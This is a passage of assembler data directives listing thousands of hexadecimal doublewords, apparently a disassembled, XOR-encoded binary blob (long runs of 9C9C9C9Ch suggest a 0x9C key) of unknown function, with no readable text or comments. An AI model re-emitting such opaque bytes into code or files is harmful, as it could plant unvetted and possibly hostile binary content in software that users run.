9C8D3C9Ch, 9C9C9D50h, 9C9C609Ch, 3 dup(9C9C9C9Ch) dd 5C9C9CFCh, 0F0F9EEB2h, 9C9CFFF3h, 9C9C876Ch, 9C8D2C9Ch dd 9C9C876Ch, 9C9D9C9Ch, 3 dup(9C9C9C9Ch), 9E9C9CBCh, 0FDF8F9B2h dd 9C9CFDE8h, 9C9C9CD0h, 9C8D4C9Ch, 9C9C9CD0h, 9C9D809Ch dd 3 dup(9C9C9C9Ch), 0DC9C9CBCh, 66h dup(9C9C9C9Ch), 9C9C9D24h dd 5CAD5F9Ch, 0B8D017DCh, 98DD6B98h, 9C9C9C9Ah, 0D81793E8h dd 0C81794B8h, 9E158CB8h, 9C9C9F24h, 0CACF5F9Ch, 0B8D817CBh dd 62F6CC8Ch, 9C8C9AF4h, 0A963F88Ch, 9C9C9C9Ch, 9CB915F8h dd 179C9C9Ch, 17BCB8D8h, 0EC1794C4h, 63621F90h, 0E8A7BCE8h dd 86E8B8B8h, 17EAA811h, 0D0172F90h, 0D41794B8h, 2FE01F90h dd 4BE99C98h, 942FC863h, 13F84D77h, 9C9C9C99h, 90581F9Ch dd 5FC7C2C3h, 0CF7915C9h, 0F6C9CBCAh, 0F49CF69Ch, 8C9C8C04h dd 7494E963h, 9C9C45D4h, 0C7C2C3C1h, 5FC17015h, 7915C960h dd 0CF94701Fh, 17C9CBCAh, 0D91790C1h, 98DC6B94h, 9C9C9C9Ah dd 9C2B1993h, 0D9159C9Ch, 8CD91764h, 1160D915h, 0DF1564D9h dd 90EF1760h, 1F94E717h, 18936362h, 9C9C9C34h, 1FEA9011h dd 9C9813E0h, 0C9CAE1E8h, 178CF711h, 9C1770D9h, 0A83F9C17h dd 178C8D1Ch, 9E1770C9h, 8D1CA43Fh, 98DE178Ch, 8D1CA03Fh dd 0CDCBCA8Ch, 9C9C8825h, 0DCA1119Ch, 178C8D1Ch, 8D1CA4A9h dd 11396F8Ch, 8D1CDCA1h, 0A4A1158Ch, 0C58C8D1Ch, 0C863C2C3h dd 0C2C19813h, 9590C117h, 0E4B4E85Ch, 94E717A8h, 63A674CFh dd 581F6363h, 8CF71198h, 4F74CFCAh, 1F636362h, 90119458h dd 139817EAh, 6390DF17h, 179413C8h, 901194E7h, 13A817EAh dd 6363FE75h, 775CAD63h, 0F711C985h, 0CF63F68Ch, 63623974h dd 90581F63h, 17497F6h, 1F9C9C44h, 0C3C19858h, 7015C7C2h dd 15C95FC1h, 0CBCACF79h, 9D90E11Fh, 807499E9h, 749C9C9Ch dd 9C9C4B23h, 638CE963h, 0E96390E9h, 1C9C3D94h, 4C638C8Dh dd 55C7C2C3h, 0C99C905Eh, 701F7915h, 9CF6CB90h, 0B9746AF6h dd 159C9C44h, 9CF664D9h, 857469F6h, 159C9C44h, 9CF660D9h dd 917468F6h, 159C9C44h, 82F468D9h, 638C8D1Ch, 6D7464E9h dd 3F9C9C4Bh, 8C8D1C94h, 8D1C80F4h, 60E9638Ch, 9C4B4374h dd 1C983F9Ch, 80F48C8Dh, 638C8D1Ch, 517468E9h, 1F9C9C4Bh dd 903FAC58h, 178C8D1Ch, 8D1C98A1h, 0E863958Ch, 0CB9CF697h dd 9C4B6774h, 94581F9Ch, 1C90A117h, 63958C8Dh, 9CF68CE8h dd 4B7A74CBh, 581F9C9Ch, 9C9A7494h, 55C39C9Ch, 0C0C0C5Fh dd 1F7915C9h, 0CACF8870h, 68D95BCBh, 9C9C9C9Ch, 9C4BFF74h dd 155F159Ch, 80776CC1h, 0E8A1A71Ch, 68D9639Fh, 5CAD4315h dd 6E558565h, 11456B32h, 5B1562DDh, 0A78011DBh, 0E99CA71Ch dd 68E11743h, 21A011DBh, 9C9C9C9Ch, 6370E115h, 0F17470E9h dd 0C59C9C4Bh, 3F64D915h, 8C8D1C8Ch, 9C64E11Fh, 5CAD98E9h dd 0C117C177h, 15D9776Ch, 655CAD43h, 326E5585h, 0DD11456Bh dd 0DB5B1562h, 1C60E115h, 0BAE8A1A7h, 7460E963h, 9C9C4BA8h dd 64E917C5h, 5C959A15h, 0B7779EE9h, 64E117CFh, 0DD74AB63h dd 1F9C9C4Bh, 0D91F9458h, 0C9179864h, 8F801160h, 0E99CA71Ch dd 64C9172Ah, 9C9C9E5Bh, 9D249C9Ch, 0C39C9C9Ch, 5F55C7C2h dd 1F7915C9h, 0CACFD070h, 992393CBh, 8C8D1D54h, 90892393h dd 9D8C8D1Eh, 9B741F4Ch, 7760D915h, 9CAC24B5h, 0F96B9C9Ch dd 7CD91560h, 8D1ED43Dh, 8923938Ch, 8C8D1D8Ch, 741F4C9Dh dd 7CC91799h, 0CC899815h, 638C95AAh, 0D03D60D9h, 1F8C8D1Dh dd 2393C15Ch, 8D1DD889h, 0A54C9D8Ch, 5DEE60D9h, 90992393h dd 9F8C8D1Eh, 8D1D9099h, 95741F8Ch, 188963CCh, 0F48C9DBCh dd 8C8D1F9Ch, 8D0608F4h, 3D9BF68Ch, 8C8D1D84h, 0CC95741Fh dd 8D0548F4h, 4889638Ch, 158C9DB9h, 1EEC3D5Fh, 741F8C8Dh dd 935FA599h, 9C9D3419h, 68D9119Ch, 1F9C3DCCh, 17CC8C8Dh dd 80CB63A4h, 2C3D5F15h, 9F8C8D1Dh, 8D1D4499h, 92741F8Ch dd 91E95FA5h, 8D1ED03Dh, 99741F8Ch, 0E968D9A5h, 9D987599h dd 23939C9Ch, 8D1DBC99h, 9F741F8Ch, 7564D915h, 9C9C9C7Ah dd 1564D917h, 5BFA4CD9h, 9C9F54D9h, 0CC58D911h, 1F54E911h dd 7B158C70h, 9C9C9825h, 17396F9Ch, 8D1F9CA1h, 0A317CB8Ch dd 15BCCB63h, 1E843D5Fh, 23938C8Dh, 8D1E8889h, 1F4C9D8Ch dd 44A59874h, 9C011993h, 0D9119C9Ch, 38F4CC5Ch, 178C8D06h dd 17CC58D9h, 0A18863A4h, 9C9C9C9Ch, 23935F15h, 8D1C6C99h dd 9F741F8Ch, 0F2E944A5h, 1E609911h, 0D9158C8Dh, 0AC17CC40h dd 1198CA63h, 0F4CC20D9h, 8C8D0568h, 0CC40D917h, 8863A417h dd 9C9C9CA1h, 3D5F159Ch, 8C8D1E9Ch, 1D6C999Fh, 741F8C8Dh dd 0E944A590h, 24D911BFh, 568F4CCh, 0E9638C8Dh, 5CE96320h dd 9C830774h, 8C581F9Ch, 1728D915h, 17CC20D9h, 94CA63ACh dd 0CC40D917h, 0CA63AC17h, 5CD91794h, 63AC17CCh, 0D91794CAh dd 0AC17CC58h, 6394CA63h, 0D91764D9h, 64D9A568h, 63921E93h dd 99116363h, 8C8D1FBCh, 0CC6CD915h, 0CA63AC17h, 70D91198h dd 578F4CCh, 0D9178C8Dh, 0AC17CC6Ch, 9CA98863h, 179C9C9Ch dd 17CC6CD9h, 94CA63ACh, 0CC78D911h, 8D0578F4h, 70E9638Ch dd 1F9CA963h, 81748C8Dh, 1F9C9C83h, 0D9158C58h, 60911774h dd 1F8C8D1Ch, 54A59E75h, 9C3D8BE9h, 0CC8C8D1Fh, 0CA63AC17h dd 99239394h, 8C8D1D80h, 8D1F9C3Fh, 0C7C2C38Ch, 15C95F55h dd 1D9C3D79h, 99A58C8Dh, 8C8DECA0h, 0A0F497EAh, 638C8DECh dd 9C6C8889h, 0ECA03D8Ch, 5EC18C8Dh, 15C99C98h, 0D4701F79h dd 17CBCACFh, 239394C1h, 8D1DC099h, 9F741F8Ch, 3D20D915h dd 8C8D1ECCh, 0A19F5B15h, 8C8D1D74h, 7795731Fh, 4D661592h dd 9017FA7Eh, 0D015FAE7h, 3DDB5C89h, 8C8D1C4Ch, 9F895C1Fh dd 8D1DC899h, 0EE5BA58Ch, 1C99117Ch, 158C8DC7h, 0D96324D9h dd 24D91720h, 0A59C2B93h, 93EF20D9h, 5CD911CFh, 0D05D74CCh dd 581F9C9Ch, 937F7794h, 1DB0A923h, 721F8C8Dh, 158D7799h dd 177E4D6Eh, 17FA90D1h, 0FA5C89C8h, 0DAED8815h, 8D1D7C3Dh dd 8B5C1F8Ch, 78892393h, 9D8C8D1Ch, 0EE5AA54Ch, 0C7C2C346h dd 0CACF5F55h, 1E9CA917h dd 0A99F8C8Dh, 8C8D1DF0h, 1DD08117h, 5F1D8C8Dh, 50B8DCEAh dd 30892393h, 9D8C8D1Dh, 2980154Fh, 8C8DC700h, 1D0CA917h dd 23938C8Dh, 8D1EE881h, 0B889178Ch, 118C8D1Dh, 74E98F00h dd 80151A06h, 8DC72C29h, 20A9178Ch, 178C8D1Ch, 8D1C2881h dd 0FF5F1D8Ch, 93A1A9E0h, 1EA88923h, 4F9D8C8Dh, 7C298015h dd 178C8DC7h, 8D1D48A9h, 8123938Ch, 8C8D1D34h, 8117429Dh dd 8C8D1DB4h, 7D465F1Dh, 801587EBh, 8DC72C29h, 0A923938Ch dd 8C8D1E88h, 1DA48117h, 5F1D8C8Dh, 0CCCE8931h, 50298015h dd 938C8DC7h, 1D80A923h, 81178C8Dh, 8C8D1D9Ch, 9282E811h dd 1C588117h, 5F1D8C8Dh, 88649993h, 5C298015h, 178C8DC7h dd 8D1C58A9h, 6081178Ch, 1D8C8D1Ch, 9AAB215Fh, 892393F2h dd 8C8D1E90h, 80154F9Dh, 8DC74429h, 0A923938Ch, 8C8D1D20h dd 80812393h, 118C8D1Dh, 939A82E8h, 1D548123h, 5F1D8C8Dh dd 82D21BA1h, 5C298015h, 938C8DC7h, 1DB0A923h, 6F158C8Dh dd 50465F1Dh, 80157F1Fh, 8DC74029h, 4A9178Ch, 9F8C8D1Ch dd 8D1D64A9h, 7C81178Ch, 1D8C8D1Dh, 0D7F8D15Fh, 10819F4Eh dd 158C8D1Dh, 0C7242980h, 0C43D8C8Dh, 158C8D1Eh, 28919F5Dh dd 1F8C8D1Ch, 86779875h, 1C5CA917h, 23938C8Dh, 8D1D0881h dd 1F429D8Ch, 0A8159472h, 8DC71C11h, 243DDD8Ch, 9F8C8D1Ch dd 8D1D7C99h, 5DA5D48Ch, 91174AEEh, 8C8D1ECCh, 1DF0A917h dd 5A1F8C8Dh, 78A99F9Fh, 158C8D1Dh, 0C7E411A8h, 91178C8Dh dd 8C8D1D90h, 1DFC919Fh, 23938C8Dh, 8D1EA8A9h, 425A1D8Ch dd 154BF641h, 0C70411A8h, 23938C8Dh, 8D1DBC91h, 9F52158Ch dd 8D1DE8A9h, 481178Ch, 118C8D1Dh, 0E2BA8510h, 90152361h dd 8DC72829h, 0CC91178Ch, 178C8D1Eh, 8D1DE4A9h, 3E5A1D8Ch dd 9F7D6B72h, 8D1D9CA9h, 11A8158Ch, 8C8DC724h, 0C8912393h dd 178C8D1Eh, 8D1D88A9h, 4F5A1D8Ch, 15B49219h, 0C75811A8h dd 91178C8Dh, 8C8D1DA8h, 1DB4919Fh, 23938C8Dh, 8D1D20A9h dd 0AE5A1D8Ch, 15AEA1DBh, 0C72411A8h, 23938C8Dh, 8D1C7091h dd 0A923938Ch, 8C8D1C44h, 0CD6C5A1Dh, 0A815862Ch, 8DC77411h dd 5FC7C28Ch, 9CDC9D24h, 9C8C5E1Ch, 8D1DB43Dh, 9A741F8Ch dd 0FC8963CCh, 5F8C8DC6h, 55EF4CBh, 55748C8Dh, 0C59C9C9Fh dd 48963CCh, 3F8C9DB9h, 8C8D1E14h, 50992393h, 938C8D1Ch dd 1D588923h, 4C9D8C8Dh, 0A590741Fh, 8D1E1499h, 0F48BE98Ch dd 8C8D0529h, 9C9F0B74h, 63CCC59Ch, 99AF8489h, 1E143F8Ch dd 3AF48C8Dh, 748C8D05h, 9C9C9F1Ch, 0A963CCC5h, 8C8D1E14h dd 0BD308963h, 0BC3F8C9Dh, 0C38C95AFh, 17CACF5Fh, 1790B8C0h dd 938CB8E8h, 1DEC9923h, 5D158C8Dh, 93835D1Fh, 1EF49923h dd 741F8C8Dh, 775DB59Eh, 8817FA82h, 88A7FAD7h, 0AD98EFD2h dd 0FABB775Ch, 0FAD78817h, 0EAD288A7h, 0DC5CAD99h, 93D58477h dd 1C509923h, 999F8C8Dh, 8C8D1C38h, 0A592741Fh, 0AD52E15Dh dd 0C7C2DC5Ch, 7915C95Fh, 9DB8701Dh, 0CACF9C9Ch, 0F7CF4CBh dd 0DCF69C98h, 0B5708963h, 0D9158C99h, 861CF460h, 0DCF69C9Ah dd 0B5708963h, 5F158C99h, 1F94D917h, 63CC9E5Ch, 417460E9h dd 179C9C53h, 5D1560D9h, 0DC63541Fh, 9C9DA01Ch, 0D91565E9h dd 78A11764h, 1F8C8D1Dh, 0A7779973h, 0D99F6415h, 74191560h dd 93636362h, 9158C2Ah, 6363627Ch, 19156415h, 63636278h dd 19157B6Bh, 63636240h, 627C1917h, 9176363h, 63636240h dd 9174C9Dh, 63636274h, 0A7DB9E14h, 5CEE64E1h, 8D1D183Dh dd 86E4998Ch, 0CFCC9C9Ah, 6364E963h, 7460E9h, 1F9C9CEBh dd 0C83D8C58h, 158C8D1Dh, 0CCA99F5Ah, 1F8C8D1Dh, 89779772h dd 0B7AFA01Ch, 985A98E9h, 0A01CB4AFh, 98E9A1AFh, 0B5AF985Ah dd 1F4515DAh, 1CDC6354h, 0E99C9DA0h, 0EE5AA565h, 1D843D47h dd 741F8C8Dh, 94C91795h, 0CC9EA01Ch, 0ACF4AFE9h, 118C95D5h dd 63627019h, 9174CC63h, 3D9C9C53h, 8C8D1C54h, 0CC9D5C1Fh dd 701911CFh, 0CC636362h, 9CE74E74h, 90581F9Ch, 939C641Fh dd 9C9D2A19h, 1C7C3D9Ch, 999F8C8Dh, 8C8D1C74h, 1794741Fh dd 0A01C94C9h, 8DE9D89Eh, 95A9DCF4h, 7019118Ch, 0CC636362h dd 9C525F74h, 1D883D9Ch, 999F8C8Dh, 8C8D1D2Ch, 1795741Fh dd 0A01C94C9h, 8DE9D79Eh, 9DBC3CF4h, 7019118Ch, 0CC636362h dd 9C520774h, 1D2C3D9Ch, 741F8C8Dh, 2393CC9Bh, 8D1D5899h dd 9B741F8Ch, 9398F6CCh, 1C449923h, 23938C8Dh, 8D1D1489h dd 9D5D158Ch, 1F56154Dh, 1FCE9276h, 0F4CC9574h, 0DC9C9C9Ch dd 62701911h, 63CC6363h, 8DF08489h, 68D9158Ch, 0AC3D9EF6h dd 1F8C8D1Eh, 93CC9974h, 1C6C9923h, 741F8C8Dh, 0E963CC9Fh dd 0AC896368h, 0F48C8DECh, 8C8D0502h, 9C9DBF74h, 8917C59Ch dd 8C8D1C04h, 0CE9E761Fh, 0CE6CC911h, 1D748917h, 23938C8Dh dd 8D1DF491h, 1F569D8Ch, 0CCCE9B76h, 6368E963h, 8DEC8089h dd 1D003D8Ch, 741F8C8Dh, 94C9179Bh, 0D79EA01Ch, 5F4ABE9h dd 748C8D05h, 9C9C9C40h, 892393C5h, 8C8D1DC0h, 0CE9F761Fh dd 0CE6CC911h, 1C008917h, 23938C8Dh, 8D1C7891h, 1F569D8Ch dd 0CCCE9A76h, 6368E963h, 8DEC8089h, 1D7C3D8Ch, 741F8C8Dh dd 94C91795h, 0CC9EA01Ch, 8F4B7E9h, 748C8D05h, 9C9C9C08h dd 892393C5h, 8C8D1D8Ch, 0C911CED6h, 2393CE6Ch, 8D1EB889h dd 0CCCED68Ch, 6368E963h, 8DEC8089h, 1F45158Ch, 1CDC6354h dd 0E99C9DA0h, 935E1565h, 1DBC9123h, 23938C8Dh, 8D1DC099h dd 1F5D9D8Ch, 11CD9A75h, 93CD6CD1h, 1EA09123h, 751F8C8Dh dd 0CD4D9D9Eh, 68E963CFh, 0EC808963h, 0E9638C8Dh, 0D4896368h dd 638C95D6h, 896360E9h, 8C9DB950h, 508963CFh, 0C38C9DB9h dd 5F55C7C2h, 0CB7915C9h, 6394E963h, 8D1E18A9h, 3089638Ch dd 158C9DBDh, 5FC1C35Bh, 0CD7915C9h, 17CBCACFh, 0A11F94E1h dd 8C8D1EE4h, 0F489E99Ch, 8C8DEDFCh, 93508963h, 995B8C9Dh dd 8C8D1EE4h, 9C9C9C9Dh, 1C58A917h, 0A99F8C8Dh, 8C8D1D6Ch dd 9393721Fh, 2A93832Ah, 2B939DCBh, 947E5D4Eh, 2B934F95h dd 0FA429D47h, 9360E915h, 1760D92Bh, 8D1D6489h, 98761F8Ch dd 18934CA5h, 9C9C9C17h, 8DEDFCF4h, 0C089638Ch, 938C8DC6h dd 1D149923h, 741F8C8Dh, 0D915FA9Eh, 93897762h, 9D62D92Bh dd 8C229364h, 9ED32293h, 8C1456ADh, 62D963FAh, 62D92B93h dd 60C92B93h, 43E04CA5h, 0BC992393h, 938C8D1Dh, 1E908923h dd 4C9D8C8Dh, 939F741Fh, 1C088923h, 761F8C8Dh, 9B88149Fh dd 80992393h, 938C8D1Dh, 1C788923h, 0D8118C8Dh, 89179D8Ch dd 8C8D1C5Ch, 1C28899Fh, 761F8C8Dh, 9B881499h, 8DEDFCF4h dd 0DC89638Ch, 118C95D6h, 0C2C39FDBh, 0C95F55C7h, 11CD7915h dd 3DCC60D9h, 8C8D1EB0h, 3C892393h, 9D8C8D1Ch, 94741F4Ch dd 992393CCh, 8C8D1D54h, 1D90999Fh, 741F8C8Dh, 0E963CC8Ch dd 1EC03D94h, 999F8C8Dh, 8C8D1D84h, 0CC92741Fh, 8D1C683Dh dd 24999F8Ch, 1F8C8D1Ch, 63CC9674h, 8DECBC89h, 8963CC8Ch dd 8C95D6D4h, 15C95F55h, 0C8701D79h, 0CA9C9C9Eh, 701911CBh dd 0CC636362h, 8D1D743Dh, 64999F8Ch, 1F8C8D1Dh, 3DCC9274h dd 8C8D1DD0h, 0CC9A741Fh, 3DBCF6h, 9F8C8D1Ch, 8D1C5899h dd 8C741F8Ch, 9C8963CCh, 118C99B6h, 63CC6CD9h, 95A9AC89h dd 0D92B938Ch, 0A889176Eh, 1D8C8D1Dh, 9C342B5Eh, 7C899F9Ch dd 938C8D1Ch, 2B935E33h dd 911764C9h, 8C8D1E80h, 93A05D1Fh, 4C9D4D33h, 6CC92B93h dd 1D189117h, 5D1D8C8Dh, 9C9B7469h, 1DA4919Fh, 33938C8Dh dd 934C9D4Dh, 176AC92Bh, 8D1C3891h, 0A5D1D8Ch, 9F9C9C99h dd 8D1DE891h, 4D33938Ch, 2B934C9Dh, 4C9D66C9h, 9C6CAC3Fh dd 1D483D8Ch, 999F8C8Dh, 8C8D1C64h, 1590741Fh, 63615619h dd 32291163h, 1D636361h, 9C9DDC70h, 257B159Ch, 9C9C9C03h dd 1139FA6Fh, 63627021h, 2B74CB63h, 1D9C9C23h, 9C9DD858h dd 55C2C39Ch, 7915C95Fh, 0CBCACFCDh, 1F94E117h, 8D1EE4A1h dd 89E99C8Ch, 8DEDFCF4h, 5089638Ch, 5B8C9D93h, 8D1EE499h dd 9C9C9D8Ch, 0B0A9179Ch, 1F8C8D1Eh, 2A93995Ah, 0CB2A9383h dd 4E2B939Eh, 95947E5Dh, 472B934Fh, 0DC892393h, 938C8D1Eh dd 1C449123h, 569D8C8Dh, 9394761Fh, 429D4633h, 60E915FAh dd 60D92B93h, 1D608917h, 9FDE8C8Dh, 8D1DE089h, 934CA58Ch dd 9C9C0C18h, 0EDFCF49Ch, 89638C8Dh, 8C8DC6C0h, 8D1E983Dh dd 9F5C1F8Ch, 78892393h, 9D8C8D1Ch, 0D915FA4Ch, 93BE7762h dd 9D62D92Bh, 8C229364h, 98D32293h, 8C1456ADh, 62D92B93h dd 1DE48917h, 9DD68C8Dh, 0D915FA4Ch, 0D92B9362h, 0C92B9362h dd 0E04CA560h, 1C003D4Eh, 23938C8Dh, 8D1DF489h, 1F4C9D8Ch dd 89179774h, 8C8D1E9Ch, 149F761Fh, 603D9B88h, 938C8D1Ch dd 1EF48923h, 899F8C8Dh, 8C8D1C74h, 1496761Fh, 0FCF49B88h dd 638C8DEDh, 95D6DC89h, 9ADB118Ch, 55C7C2C3h, 7915C95Fh dd 8DF088F4h, 6489638Ch, 3D8C99B5h, 8C8DF088h, 9C985EC1h dd 51AF4CBh, 19748C8Dh, 0C5636360h, 48963CCh, 3F8C9DB9h dd 8C8D1E1Ch, 8D1C683Dh, 9E741F8Ch, 1E1C99A5h, 8BE98C8Dh dd 8D05E4F4h, 60C2748Ch, 0CCC56363h, 0AF848963h, 1C3F8C99h dd 0C38C8D1Eh, 7915C95Fh, 9D80701Dh, 0CACF9C9Ch, 94D917CBh dd 1598D417h, 0CC1760D1h, 6CC91590h, 1594DC17h, 0D91764D9h dd 159C1794h, 211168D9h, 63636278h, 1FB8A911h, 8C258C8Dh dd 6F9C9C9Ch, 38E11139h, 1FF8A911h, 8C258C8Dh, 6F9C9C9Ch dd 0F8211139h, 11636363h, 8D1F38A9h, 9C8C258Ch, 396F9C9Ch dd 63B82111h, 0A9116363h, 8C8D1F78h, 9C9C8C25h, 93396F9Ch dd 1C708123h, 0BF758C8Dh, 159C9C9Dh, 9E7B5D43h, 78A12863h dd 17636362h, 8D1D78A1h, 0A923938Ch, 8C8D1EA8h, 731F6B9Dh dd 0E117CB9Eh, 3A86390h, 636CE963h, 0E96364E9h, 68E96360h dd 9CA48674h, 80581F9Ch, 3D68D915h, 8C8D1DD0h, 1C34999Fh dd 741F8C8Dh, 0E844A596h, 0DB4315A1h, 78212863h, 17636362h dd 8D1D4CA1h, 955B1F8Ch, 0A12393CBh, 8C8D1D80h, 9D4215DBh dd 90E11762h, 632BA863h, 0E96364E9h, 68E96360h, 746CE963h dd 9C9CAB57h, 1580581Fh, 0A1176CD9h, 8C8D1DFCh, 629D6215h dd 731F6B15h, 9D421594h, 29286362h, 63636278h, 1D60A117h dd 5B1F8C8Dh, 0A117CB8Dh, 8C8D1D2Ch, 1599731Fh, 17629D42h dd 0A86390E1h, 60E9632Bh, 6368E963h, 0E9636CE9h, 0ABE17464h dd 0D9159C9Ch, 0B0A11764h, 9F8C8D1Eh, 8D1DA4A1h, 4215D38Ch dd 2863629Dh, 63627829h, 0A1239363h, 8C8D1EA8h, 0CB8E5B1Fh dd 5B1F4315h, 90E9179Fh, 6322A863h, 0E96368E9h, 0E963CC6Ch dd 0ABA17460h, 581F9C9Ch, 60D915A4h, 8D1DC83Dh, 9F741F8Ch dd 0D03D5F9Dh, 9F8C8D1Eh, 8D1DA099h, 9E741F8Ch, 1A935FA5h dd 6363625Bh, 8D1C043Dh, 9F5F158Ch, 8D1C6081h, 9F771F8Ch dd 0F4992393h, 9F8C8D1Eh, 8D1ED499h, 9B741F8Ch, 7570D915h dd 9C9C9D16h, 6370E117h, 173821E8h, 8D1C00A1h, 9E731F8Ch dd 90E117CBh, 6303A863h, 0E9636CE9h, 60E96364h, 7468E963h dd 9C9CD6ABh, 1580581Fh, 483D68D9h, 938C8D1Ch, 1C708923h dd 4C9D8C8Dh, 9D9E741Fh, 1DFC3D5Fh, 5C1F8C8Dh, 89239396h dd 8C8D1EDCh, 5FA54C9Dh, 239390EEh, 8D1EFC99h, 9B5C1F8Ch dd 0E1175FB5h, 0E863DB70h, 23933821h, 8D1EFCA1h, 0E117CB8Ch dd 3A86390h, 6364E963h, 0E96360E9h, 6CE96368h, 9CD54A74h dd 80581F9Ch, 936CD915h, 1D349923h, 5C1F8C8Dh, 3D5F9D99h dd 8C8D1D24h, 0A5955C1Fh, 9388EE5Fh, 1DB09923h, 23938C8Dh dd 8D1EB489h, 8CD8118Ch, 175FB599h, 5B1F70E1h, 21E8639Eh dd 0C4A11738h, 1F8C8D1Eh, 17CB915Bh, 0A86390E1h, 60E96303h dd 6368E963h, 0E9636CE9h, 0D5E57464h, 581F9C9Ch, 64D91580h dd 8D1D0C3Dh, 5F9DD48Ch, 8D1E9C3Dh, 915C1F8Ch, 90EE5FA5h dd 0BC992393h, 1F8C8D1Eh, 5FB5935Ch, 1770E117h, 8D1DD4A9h dd 98721F8Ch, 0E8636B9Dh, 0A1173821h, 8C8D1EA4h, 9F955B1Fh dd 8D1ECCA1h, 0E117CB8Ch, 3A86390h, 6368E963h, 0E9636CE9h dd 60E96364h, 9CD58674h, 80581F9Ch, 3D60D915h, 8C8D1ECCh dd 8892393h, 9D8C8D1Dh, 98741F4Ch, 943D5F9Dh, 1F8C8D1Eh dd 2393925Ch, 8D1C7889h, 0A54C9D8Ch, 3D96EE5Fh, 8C8D1D00h dd 0B5955C1Fh, 9923935Fh, 8C8D1DECh, 9D9F5C1Fh, 239370D9h dd 8D1EF499h, 955C1F8Ch, 9370D9A5h, 6362FF1Ah, 1ED03D63h dd 5F158C8Dh, 1E80819Fh, 0E43D8C8Dh, 9F8C8D1Dh, 8D1DAC99h dd 9A741F8Ch, 7574D915h, 9C9C9D2Ah, 6374E117h, 63F82128h dd 0A1176363h, 8C8D1DC4h, 939F5B1Fh, 1C78A923h, 6B9D8C8Dh dd 90E117CBh, 6303A863h, 0E9636CE9h, 60E96364h, 7468E963h dd 9C9CCCA4h, 1580581Fh, 239368D9h, 8D1EFC99h, 0D0999F8Ch dd 1F8C8D1Eh, 5F9D9774h, 8D1EAC3Dh, 9A5C1F8Ch, 1DFC999Fh dd 5FA58C8Dh, 0E03D96EEh, 1F8C8D1Dh, 5FB5975Ch, 1774E117h dd 8D1D5CA9h, 6B9DDA8Ch, 0F8212863h, 17636363h, 8D1DA0A1h dd 58A19F8Ch, 1F8C8D1Ch, 17CB9B73h, 0A86390E1h, 64E96303h dd 6360E963h, 0E96368E9h, 0D356746Ch, 581F9C9Ch, 6CD91580h dd 0FC992393h, 9F8C8D1Eh, 8D1D4899h, 93741F8Ch, 603D5F9Dh dd 1F8C8D1Ch, 999F995Ch, 8C8D1DB8h, 90EE5FA5h, 0BC992393h dd 1F8C8D1Dh, 5FB5915Ch, 1774E117h, 8D1C0CA9h, 6B9DDA8Ch dd 0F8212863h, 17636363h, 8D1C48A1h, 995B1F8Ch, 1C28A19Fh dd 17CB8C8Dh, 0A86390E1h, 60E96303h, 6368E963h, 0E9636CE9h dd 0D3C67464h, 581F9C9Ch, 64D91580h, 20992393h, 9F8C8D1Dh dd 8D1ECC99h, 98741F8Ch, 23935F9Dh, 8D1DBC99h, 915C1F8Ch dd 92EE5FA5h, 8D1D003Dh, 999FDC8Ch, 8C8D1C24h, 0E1175FB5h dd 9F5B1F74h, 0F8212863h, 17636363h, 8D1C64A1h, 925B1F8Ch dd 1EACA19Fh, 17CB8C8Dh, 0A86390E1h, 68E96303h, 636CE963h dd 0E96364E9h, 0D26E7460h, 581F9C9Ch, 60D91580h, 8D1D383Dh dd 9F741F8Ch, 943D5F9Dh, 1F8C8D1Eh, 23939B5Ch, 8D1C3C89h dd 0A54C9D8Ch, 9390EE5Fh, 1EB89923h, 5C1F8C8Dh, 3D5FB592h dd 8C8D1D00h, 9D9F741Fh, 239374D9h, 8D1EDC99h, 975C1F8Ch dd 9374D9A5h, 6362AB1Ah, 1D883D63h, 5F158C8Dh, 1EF0819Fh dd 771F8C8Dh, 1DD03D96h, 741F8C8Dh, 78D9159Ah, 9C9D3B75h dd 78E1179Ch, 0B8212863h, 93636363h, 1EE8A123h, 5B1F8C8Dh dd 0E117CB99h, 3A86390h, 636CE963h, 0E96364E9h, 68E96360h dd 9CD28274h, 80581F9Ch, 3D68D915h, 8C8D1DC8h, 1EAC999Fh dd 741F8C8Dh, 935F9D99h, 1EB49923h, 89178C8Dh, 8C8D1DFCh dd 998CD811h, 91EE5FA5h, 8D1DD43Dh, 7C999F8Ch, 0B58C8D1Dh dd 78E1175Fh, 212863DBh, 636363B8h, 1C04A117h, 5B1F8C8Dh dd 0A9239394h, 8C8D1D80h dd 17CB6B9Dh, 0A86390E1h, 64E96303h, 6360E963h, 0E96368E9h dd 0D12D746Ch, 581F9C9Ch, 6CD91580h, 8D1EA43Dh, 9E741F8Ch dd 0F83D5F9Dh, 1F8C8D1Eh, 2393945Ch, 8D1DDC89h, 0A54C9D8Ch dd 3D96EE5Fh, 8C8D1E80h, 0B58C5C1Fh, 78E1175Fh, 0DCA92393h dd 9F8C8D1Eh, 8D1D94A9h, 6B9DD28Ch, 0B8212863h, 17636363h dd 8D1DACA1h, 9B5B1F8Ch, 1EECA19Fh, 17CB8C8Dh, 0A86390E1h dd 60E96303h, 6368E963h, 0E9636CE9h, 0D1DD7464h, 581F9C9Ch dd 64D91580h, 8D1D903Dh, 9E741F8Ch, 0C83D5F9Dh, 1F8C8D1Dh dd 5FA5955Ch, 683D96EEh, 1F8C8D1Dh, 5FB5975Ch, 9378E117h dd 1EA8A923h, 0A99F8C8Dh, 8C8D1EC4h, 9D9E721Fh, 2128636Bh dd 636363B8h, 1D40A117h, 5B1F8C8Dh, 0E117CB90h, 3A86390h dd 6368E963h, 0E9636CE9h, 60E96364h, 9CD04274h, 80581F9Ch dd 3D60D915h, 8C8D1DF8h, 9F9B5C1Fh, 8D1D9C99h, 935F9D8Ch dd 1C089923h, 5C1F8C8Dh, 0EE5FA591h, 99239390h, 8C8D1D80h dd 0B58C5C1Fh, 1D6C3D5Fh, 741F8C8Dh, 78D99D99h, 8D1DF03Dh dd 9F5C1F8Ch, 9378D9A5h, 6362D41Ah, 94E11763h, 0B8A92393h dd 9F8C8D1Eh, 8D1D7CA9h, 9F83178Ch, 0C01568C1h, 2393482Bh dd 8D1DC0A9h, 60C1178Ch, 1598C39Fh, 17642BC0h, 8D1D74A9h dd 6CC1178Ch, 1590C39Fh, 176C2BC0h, 8D1DD4A9h, 64C1178Ch dd 1594C39Fh, 0C3702BC0h, 5F55C7C2h, 0CF7915C9h, 0E117CBCAh dd 8CE91790h, 8D06B8F4h, 8963CB8Ch, 8C91C6A0h, 0BCE95C95h dd 8DEDDCF4h, 8963CB8Ch, 8C91C6A0h, 8CE95C95h, 8D0568F4h dd 8963CB8Ch, 8C91C6A0h, 8CE85C95h, 1594D917h, 